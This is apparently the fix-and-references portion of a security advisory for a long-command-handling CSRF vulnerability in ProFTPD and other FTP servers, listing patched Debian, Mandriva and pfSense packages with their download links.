http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-pg sql_1.3.0-19etch2_all.deb

Debian proftpd_1.3.0-19etch2_mipsel.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd_1. 3.0-19etch2_mipsel.deb

Mandriva Linux Mandrake 2009.0 x86_64

Mandriva proftpd-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-devel-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_autohost-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ban-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_case-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ctrls_admin-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_gss-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ifsession-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ldap-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_load-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_file-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_ldap-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_radius-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_quotatab_sql-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_radius-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_ratio-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_rewrite-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_shaper-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_site_misc-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_sql-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_sql_mysql-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_sql_postgres-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_time-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_tls-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_vroot-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_wrap-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_wrap_file-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-mod_wrap_sql-1.3.2-0.1mdv2009.0.x86_64.rpm
http://www.mandriva.com/en/download/

Bsdperimeter pfSense 1.2-RC2

BSD Perimeter pfSense-Full-Update-1.2.2.tgz
http://files.pfsense.org/mirror/updates/pfSense-Full-Update-1.2.2.tgz

Debian Linux 4.0 ia-64

Debian proftpd-doc_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-do c_1.3.0-19etch2_all.deb

Debian proftpd-ldap_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-ld ap_1.3.0-19etch2_all.deb

Debian proftpd-mysql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-my sql_1.3.0-19etch2_all.deb

Debian proftpd-pgsql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-pg sql_1.3.0-19etch2_all.deb

Debian proftpd_1.3.0-19etch2_ia64.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd_1. 3.0-19etch2_ia64.deb

Debian Linux 4.0 mips

Debian proftpd-doc_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-do c_1.3.0-19etch2_all.deb

Debian proftpd-ldap_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-ld ap_1.3.0-19etch2_all.deb

Debian proftpd-mysql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-my sql_1.3.0-19etch2_all.deb

Debian proftpd-pgsql_1.3.0-19etch2_all.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd-pg sql_1.3.0-19etch2_all.deb

Debian proftpd_1.3.0-19etch2_mips.deb
http://security.debian.org/pool/updates/main/p/proftpd-dfsg/proftpd_1. 3.0-19etch2_mips.deb

Bsdperimeter pfSense 1.2.1

BSD Perimeter pfSense-Full-Update-1.2.2.tgz
http://files.pfsense.org/mirror/updates/pfSense-Full-Update-1.2.2.tgz

MandrakeSoft Corporate Server 3.0 x86_64

Mandriva proftpd-1.3.2-0.1.C30mdk.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-anonymous-1.3.2-0.1.C30mdk.x86_64.rpm
http://www.mandriva.com/en/download/

MandrakeSoft Corporate Server 3.0

Mandriva proftpd-1.3.2-0.1.C30mdk.i586.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-anonymous-1.3.2-0.1.C30mdk.i586.rpm
http://www.mandriva.com/en/download/

MandrakeSoft Corporate Server 4.0 x86_64

Mandriva proftpd-1.3.2-0.1.20060mlcs4.x86_64.rpm
http://www.mandriva.com/en/download/

Mandriva proftpd-anonymous-1.3.2-0.1.20060mlcs4.x86_64.rpm
http://www.mandriva.com/en/download/

References

Multiple Vendor FTP Server Long Command Handling Security Vulnerability

References:

Bugzilla Bug 3115 Cross-site request forgery (ProFTPD)
ftpd.c CVS log - Revision 1.164.2.8 (NetBSD)
multiple vendor ftpd - Cross-site request forgery (SecurityReason)
pfSense 1.2.2 released! (BSD Perimeter)
ProFTPD Homepage (ProFTPD)
tnftpd 20080929 (Stable) (tnftpd)
tnftpd Product Page (tnftpd)
ftpd.c CVS log - Revision 1.184 (OpenBSD)
Oracle Critical Patch Update Advisory - July 2010 (Oracle)
SmbFTPD 2.2 Changelog (SmbFTPD)